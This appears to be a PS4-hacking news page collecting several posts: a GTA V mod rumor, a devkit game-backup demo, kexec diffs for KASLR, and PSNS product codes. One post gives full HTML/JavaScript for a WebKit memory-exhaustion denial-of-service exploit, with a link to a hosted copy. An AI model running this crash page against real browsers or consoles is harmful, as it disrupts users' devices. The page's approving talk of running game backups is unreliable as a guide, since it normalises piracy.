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PS4 GTA V Modded with Native Code via 1.76 Playground Demo Rumor?
A few weeks back we posted on the GTA 5 Redux Grand Theft Auto V (GTA V) Mod for PC gamers, and recently ChoicesZ Bad (aka @BadChoicesZ) with the help of @kurt2467 (aka DexmodderFTW) shared a demo video of what they label as PS4 GTAV Modded with native code rumored to be called via the PS4 1.76 Playground. :eyerolling:

From the video's description, to quote:

Sample of GTAV Modding on PS4 1.76 FW (Spoofed to 4.06)
This is created by BadChoicesZ, and Kurt (DexmodderFTW)
Huge thanks to Kurt for his assistance/code.

Here's a snippet from the Shoutbox on the video demo:
Spoiler
As @VultraAID and @HYTR mentioned they may be using GTA V cheats, while @PS4HELPER123 points out the spoof'd native code is done via the 1.76 Playground.

If anyone has more information on this holla in the comments below, or it may end up the same as the rumored PS4 Jailbreak 4.05 did being 'fake' according to @B7U3 C50SS. :nolove:

Finally, below is what appears to be another PS4 GTA5 Mod via @PS4HELPER123 as well to examine- enjoy all! :closedeyesmile:
PS4 Game Backup Runs on PlayStation 4 DevKit PoC by Jose Coixao!
Lately there's been a lot of news on the PS4 TestKit, and for those keeping track the PS3 Debug / Reference Tool and PS Vita DevKit could play copies and now José Coixão shared a video demo of a PS4 DevKit running a Minecraft PlayStation 4 Edition game backup too! :hearteyes:

From the PS4 Backup DevKit PoC video's caption, to quote:
  • also works on testkit
  • doesn't work on retail (yet)
  • trophies will not work
This news comes just a day after @zecoxao's Decrypting and Dumping PlayStation 4 UserModules Guide, and a very BIG shout out to @AkaJogi, @ArthurBishop, @Jeff and @mcmrc1 in the PSXHAX Shoutbox for sharing this exciting PS4 news! <3
Kaslr 3.55, 4.00 & 4.01 by 5lipper in Fail0verflow PS4 Kexec GIT
Following the Chaitin Tech PS4 ROP Tool, 5lipper recently added PlayStation 4 Kaslr (Kernel Address Space Layout Randomization) 3.55, 4.00 and 4.01 Firmware support in fail0verflow's PS4 Kexec GIT. :pumpkin:

While that was done a few days ago and mentioned by @Fimo among others in the Shoutbox and on Twitter (below), today @RazorMC shared some additional details from the GIT via Hydrogen at NGU, to quote:

Hello NextGenUpdate, yesterday, a user named 5lipper, has now added extra support for kaslr on PS4 for firmwares: 3.55, 4.00, and 4.01. If you find it interesting, and useful. They have added it onto fail0verflow's PS4 Kexec GitHub.

To find it and use it, click here: Fail0verflow's PS4 Kexec GitHub

--Makefile--
Code:
@@ -1,11 +1,8 @@
-ifdef DDO_NOT_REMAP_RWX
-DO_NOT_REMAP_RWX := -DDO_NOT_REMAP_RWX
-endif
-
-CFLAGS := -march=btver2 -masm=intel -std=gnu11 -ffreestanding -fno-common \
+CFLAGS=$(CFLAG)
+CFLAGS += -march=btver2 -masm=intel -std=gnu11 -ffreestanding -fno-common \
     -fPIC -fomit-frame-pointer -nostdlib -nostdinc \
     -fno-asynchronous-unwind-tables \
-    -Os -Wall -Werror -Wl,--build-id=none,-T,kexec.ld,--nmagic $(DO_NOT_REMAP_RWX)
+    -Os -Wall -Werror -Wl,--build-id=none,-T,kexec.ld,--nmagic
 
 SOURCES := kernel.c kexec.c linux_boot.c linux_thunk.S uart.c firmware.c
--README.md--
Code:
@@ -34,6 +34,14 @@ You may pass something other than NULL as `early_printf`. In that case, that
 function will be used for debug output during early symbol resolution, before
 printf is available.
 
+Since PS4 3.55(?), KASLR(Kernel Address Space Layout Randomization) is
+enabled by default, symtab also disappears in newer kernel, we have to
+hardcode offsets for some symbols. Currently we use the `early_printf`
+given by user to caculate the base address of kernel, then relocate all the
+symbols from the kernel base. You could enable this feature like...
PS4 4.01 Webkit DoS Exploit (Crashes Full System Sometimes)
So, I found a vulnerability (Original found by Dr_IDE) that seems to work on PS4, I modified the HTML code a little, just to make it say Webkit crash at the top and to add a "start exploit" button, and to make it more reliable on the PS4 web browser.

Anyways, I have been testing this vulnerability out and it seems to sometimes crash the entire system and requires a reboot to be usable again.

I have a video of what it did after I tried this (after 1 reboot):

For all the people who want to try it right now, EdiTzZMoDz on twitter added the exploit to his site: http://ps4.editzz.net/dos401/index.html

Here is the code:
Basic Coding.. Crashes Phones... Mean not worth the time on ps4
Code:
<html>
<title>Not Enough Free System Memory DoS Exploit</title>
<head>
<script>
function dos()
 {
    var longunistring1 = unescape("%u4141%u4141");
    var longunistring2 = unescape("%u4242%u4242");
    var longunistring3 = unescape("%u4343%u4343");
    var longunistring4 = unescape("%u4444%u4444");
        var longunistring5 = unescape("%u4545%u4545");
    var longunistring6 = unescape("%u4646%u4646");
    var longunistring7 = unescape("%u4747%u4747");

    for(i=0; i <= 950 ; ++i)
 {
        longunistring1+=longunistring1;
        longunistring2+=longunistring2;
        longunistring3+=longunistring3;
        longunistring4+=longunistring4;
        longunistring5+=longunistring5;
        longunistring6+=longunistring6;
        longunistring7+=longunistring7;
        document.write(longunistring1);
        document.write(longunistring2);
        document.write(longunistring3);
        document.write(longunistring4);
        document.write(longunistring5);
        document.write(longunistring6);
        document.write(longunistring7);
    }
    document.write(longunistring1);
    document.write(longunistring2);
    document.write(longunistring3);
    document.write(longunistring4);
    document.write(longunistring5);
    document.write(longunistring6);
    document.write(longunistring7);
}
</script>
</head>
<body>
<input type="button" value="Start Exploit" onclick="dos();">
</body>
</html>
Grabbing PSNS Product Codes and How to Guide
Well after news that SilicaAndPina claims to have a PS4 Browser Crash for the latest PlayStation 4 Firmware (AKA Don't Crash) from the Source Code it appears to use the PSNS: code which only loads PSN Store and is able to select products via command instead of going through PSN Store itself.

It looks like some people don't understand what PSNS does or how it works? So people say this only works for PS Vita, well for a fact it will work with PS3 and PS4.

This Game Meta is from my PS Account:

Spoiler: Game Meta
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